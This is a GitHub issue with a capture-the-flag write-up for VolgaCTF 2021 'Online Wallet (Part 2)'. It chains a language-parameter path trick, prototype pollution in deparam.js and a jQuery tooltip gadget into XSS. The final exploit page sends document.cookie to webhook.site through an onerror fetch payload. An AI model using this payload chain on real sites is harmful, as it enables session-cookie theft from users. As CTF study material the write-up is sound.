Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

VolgaCTF 2021 Qualifier - Online Wallet (Part 2) #27

Open
aszx87410 opened this issue Mar 28, 2021 · 2 comments
Open

VolgaCTF 2021 Qualifier - Online Wallet (Part 2) #27

aszx87410 opened this issue Mar 28, 2021 · 2 comments
Labels

Comments

@aszx87410
Copy link
Owner

Online Wallet (Part 2)

Description

Steal document.cookie

螢幕快照 2021-03-28 下午10 51 54

const express    = require('express')
const bodyParser = require('body-parser')
const mysql      = require(`mysql-await`)
const session    = require('express-session')
const cookieParser = require("cookie-parser")

const pool = mysql.createPool({
  connectionLimit: 50,
  host     : 'localhost',
  user     : '***REDACTED***',
  password : '***REDACTED***',
  database : '***REDACTED***'
})

const app = express()
app.set('strict routing', true)
app.set('view engine', 'ejs')

const rawBody = function (req, res, buf, encoding) {
  if (buf && buf.length) {
    req.rawBody = buf.toString(encoding || 'utf8')
  }
}

app.use(bodyParser.json({verify: rawBody}))
app.use(cookieParser())

app.use(session({
  secret: '***REDACTED***',
  resave: false,
  saveUninitialized: false,
  proxy: true,
  cookie: {
    sameSite: 'none',
    secure: true
  }
}))

app.use(function (req, res, next) {
  if(req.cookies.lang && typeof(req.cookies.lang) == "string")
    req.session.lang = req.cookies.lang


  if(req.query.lang && typeof(req.query.lang) == "string") {
    res.cookie('lang', req.query.lang)
    req.session.lang = req.query.lang
  }

  if(!req.session.lang) 
    req.session.lang = "en"
  next()
});

app.get('/', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('index', {lang: req.session.lang})
})

app.get('/login', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('login', {lang: req.session.lang})
})

app.post('/login', async (req, res) => {
  if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
    return res.json({success: false})
  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ? AND `password` = ? LIMIT 1", [req.body.login, req.body.password])
    req.session.userid = result[0].id
    res.json({success: true})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/signup', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('signup', {lang: req.session.lang})
})

app.post('/signup', async (req, res) => {
  if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ?", [req.body.login])
    if (result.length != 0) 
      return res.json({success: false})
    result = await db.awaitQuery("INSERT INTO `users` (`login`, `password`) VALUES (?, ?)", [req.body.login, req.body.password])
    req.session.userid = result.insertId
    db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, 'Default Wallet', 100, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, result.insertId])
    return res.json({success: true})
  } catch {
    return res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/wallet', async (req, res) => {
  if(!req.session.userid)
    return res.redirect('/')
  const db = await pool.awaitGetConnection()
  wallets = await db.awaitQuery("SELECT * FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
  result = await db.awaitQuery("SELECT SUM(`balance`) AS `sum` FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
  db.release()
  res.render('wallet', {wallets, sum: result[0].sum, lang: req.session.lang})
})

app.post('/transfer', async (req, res) => {
  if(!req.session.userid || !req.body.from_wallet || !req.body.to_wallet || (req.body.from_wallet == req.body.to_wallet) || !req.body.amount 
    || (typeof(req.body.from_wallet) != "string") || (typeof(req.body.to_wallet) != "string") || (typeof(req.body.amount) != "number") || (req.body.amount <= 0))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    await db.awaitBeginTransaction()

    from_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.from_wallet, req.session.userid])
    to_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.to_wallet, req.session.userid])
    if (from_wallet.length == 0 || to_wallet.length == 0) 
      return res.json({success: false})
    from_balance = from_wallet[0].balance

    if(from_balance >= req.body.amount) {
      transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])
      await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
      await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
      await db.awaitCommit()
      res.json({success: true})
    } else {
      await db.awaitRollback()
      res.json({success: false})
    }
  } catch {
    await db.awaitRollback()
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.post('/wallet', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, ?, 0, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, req.body.wallet, req.session.userid])
    res.json({success: true})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.post('/withdraw', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
    /* only developers can have a negative balance */
    if((result[0].balance > 150) || (result[0].balance < 0))
      res.json({success: true, money: FLAG})
    else
      res.json({success: false})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/logout', (req, res) => {
  req.session.destroy()
  res.redirect('/')
})

const PORT = 8080
const FLAG = "VolgaCTF{***REDACTED***}"

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`)
})

Writeup

There is a very suspicious part for setting lang via query string:

app.use(function (req, res, next) {
  if(req.cookies.lang && typeof(req.cookies.lang) == "string")
    req.session.lang = req.cookies.lang


  if(req.query.lang && typeof(req.query.lang) == "string") {
    res.cookie('lang', req.query.lang)
    req.session.lang = req.query.lang
  }

  if(!req.session.lang) 
    req.session.lang = "en"
  next()
});

After changing this value, I found that the lang is reflected in response.

https://wallet.volgactf-task.ru/wallet?lang=abc123

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_abc123.js"></script>

But <>"' is escaped so we can't do XSS here. Let's see what's inside s3 bucket: https://volgactf-wallet.s3-us-west-1.amazonaws.com

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>volgactf-wallet</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>bootstrap.min.css</Key>
<LastModified>2021-03-13T19:30:14.000Z</LastModified>
<ETag>"a15c2ac3234aa8f6064ef9c1f7383c37"</ETag>
<Size>155758</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>bootstrap.min.js</Key>
<LastModified>2021-03-11T11:59:57.000Z</LastModified>
<ETag>"e1d98d47689e00f8ecbc5d9f61bdb42e"</ETag>
<Size>58072</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>deparam.js</Key>
<LastModified>2021-03-11T12:17:35.000Z</LastModified>
<ETag>"51fa265e6f8b1e2327ef0b4b8a859933"</ETag>
<Size>1835</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag-icon.min.css</Key>
<LastModified>2021-03-13T19:30:31.000Z</LastModified>
<ETag>"1c7783936db99706c52edb52174b0d86"</ETag>
<Size>33961</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/ru.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"0cacf46e6f473fa88781120f370d6107"</ETag>
<Size>286</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/us.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"ae65659236a7e348402799477237e6fa"</ETag>
<Size>4461</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>jquery-3.3.1.slim.min.js</Key>
<LastModified>2021-03-11T12:00:03.000Z</LastModified>
<ETag>"99b0a83cf1b0b1e2cb16041520e87641"</ETag>
<Size>69917</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_en.js</Key>
<LastModified>2021-03-14T04:29:10.000Z</LastModified>
<ETag>"12753963071098b25222964ef55d34aa"</ETag>
<Size>834</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_ru.js</Key>
<LastModified>2021-03-14T04:29:30.000Z</LastModified>
<ETag>"8c76c84adcc90e93dfd978ec59675fd2"</ETag>
<Size>1142</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>popper.min.js</Key>
<LastModified>2021-03-11T12:00:26.000Z</LastModified>
<ETag>"56456db9d72a4b380ed3cb63095e6022"</ETag>
<Size>21004</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>style.css</Key>
<LastModified>2021-03-11T12:00:30.000Z</LastModified>
<ETag>"98fbfe87adff070366e195a45920e28f"</ETag>
<Size>123</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

There is a new file called deparam.js which never use in the web page so I guess we need to import this to do something.

content:

  deparam = function( params, coerce ) {
    var obj = Object.create(null), /* Prototype Pollution fix */
      coerce_types = { 'true': !0, 'false': !1, 'null': null };
    params.replace(/\+/g, ' ').split('&').forEach(function(v){
      var param = v.split( '=' ),
        key = decodeURIComponent( param[0] ),
        val,
        cur = obj,
        i = 0,
        keys = key.split( '][' ),
        keys_last = keys.length - 1;
      if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
        keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
        keys = keys.shift().split('[').concat( keys );
        keys_last = keys.length - 1;
      } else {
        keys_last = 0;
      }
      if ( param.length === 2 ) {
        val = decodeURIComponent( param[1] );
        if ( coerce ) {
          val = val && !isNaN(val)            ? +val
            : val === 'undefined'             ? undefined
            : coerce_types[val] !== undefined ? coerce_types[val]
            : val;
        }
        if ( keys_last ) {
          for ( ; i <= keys_last; i++ ) {
            key = keys[i] === '' ? cur.length : keys[i];
            cur = cur[key] = i < keys_last
              ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
              : val;
          }
        } else {
          if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
            obj[key].push( val );
          } else if ( obj[key] !== undefined ) {
            obj[key] = [ obj[key], val ];
          } else {
              obj[key] = val;
          }
        }
      } else if ( key ) {
        obj[key] = coerce
          ? undefined
          : '';
      }
    });
    return obj;
  };

  queryObject = deparam(location.search.slice(1))

The source code already gave us a hint: /* Prototype Pollution fix */. So I thought the goal is to leverage prototype pollution and trigger XSS via jquery or tooltip.

After trying for few payloads, prototype pollution can be triggered via a[0]=2&a[__proto__][__proto__][abc]=1

POC:

  deparam = function( params, coerce ) {
    var obj = Object.create(null), /* Prototype Pollution fix */
      coerce_types = { 'true': !0, 'false': !1, 'null': null };
    params.replace(/\+/g, ' ').split('&').forEach(function(v){
      var param = v.split( '=' ),
        key = decodeURIComponent( param[0] ),
        val,
        cur = obj,
        i = 0,
        keys = key.split( '][' ),
        keys_last = keys.length - 1;
      if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
        keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
        keys = keys.shift().split('[').concat( keys );
        keys_last = keys.length - 1;
      } else {
        keys_last = 0;
      }
      if ( param.length === 2 ) {
        val = decodeURIComponent( param[1] );
        if ( keys_last ) {
          for ( ; i <= keys_last; i++ ) {
            key = keys[i] === '' ? cur.length : keys[i];
            cur = cur[key] = i < keys_last
              ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
              : val;
          }
        } else {
          if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
            obj[key].push( val );
          } else if ( obj[key] !== undefined ) {
            obj[key] = [ obj[key], val ];
          } else {
              obj[key] = val;
          }
        }
      } else if ( key ) {
        obj[key] = '';
      }
    });
    return obj;
  };

  var poc = {}
  queryObject = deparam('a[0]=2&a[__proto__][__proto__][abc]=1')
  console.log(poc.abc) // 1

The next step is to see if there is any gadget we can use: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md

But from the source of the web page we know that only $('[data-toggle="tooltip"]').tooltip() has been called after content loaded, so I think it's the key and we need to use it. I tried for an hour to see if I can pollute the template or title options for tooltip but it doesn't work.

After trace the source code of bootstrap tooltip, when tooltip show, getTipElement will be triggered:

  getTipElement() {
    this.tip = this.tip || $(this.config.template)[0]
    return this.tip
  }

https://github.com/twbs/bootstrap/blob/8fa0d3010112dca5dd6dd501173415856001ba8b/js/src/tooltip.js#L422

template is html so we can use this jQuery gadget now:

<script/src=https://code.jquery.com/jquery-3.3.1.js></script>
<script>
  Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script>
<script>
  $('<div x="x"></div>')
</script>

But how to show the tooltip? We can show the tooltip if it gets focused, and luckily there is an id for the tooltip element: <span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">

So combined with all the vulnerabilities above, the steps are:

  1. Use lang to import deparam.js
  2. prototype pollution to use jQuery gadget
  3. Use #depositButton to trigger tooltip and do XSS

We can create a simple html page and use iframe to load the website. After it's loaded we update the src to #depositButton to let tooltip get focus and trigger XSS.

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  </head>
  <body>
    <script>
      fetch('https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a?check').then(r =>r).catch(err => console.log(err))
    function run() {
      setTimeout(() => {
f.src = "https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1#depositButton"
      }, 2000)
      
    }
  </script>
    <iframe id="f" onload="run()" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1"></iframe>
  </body>

</html>
@L0nm4r
Copy link

L0nm4r commented Mar 29, 2021

in Online Wallet (Part 1), how to get the balance of the Default wallet to 152? i just make it negative

@aszx87410
Copy link
Owner Author

@L0nm4r It seems that there is a race condition in /transfer, but I found it by coincidence and still thinking about how it works

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants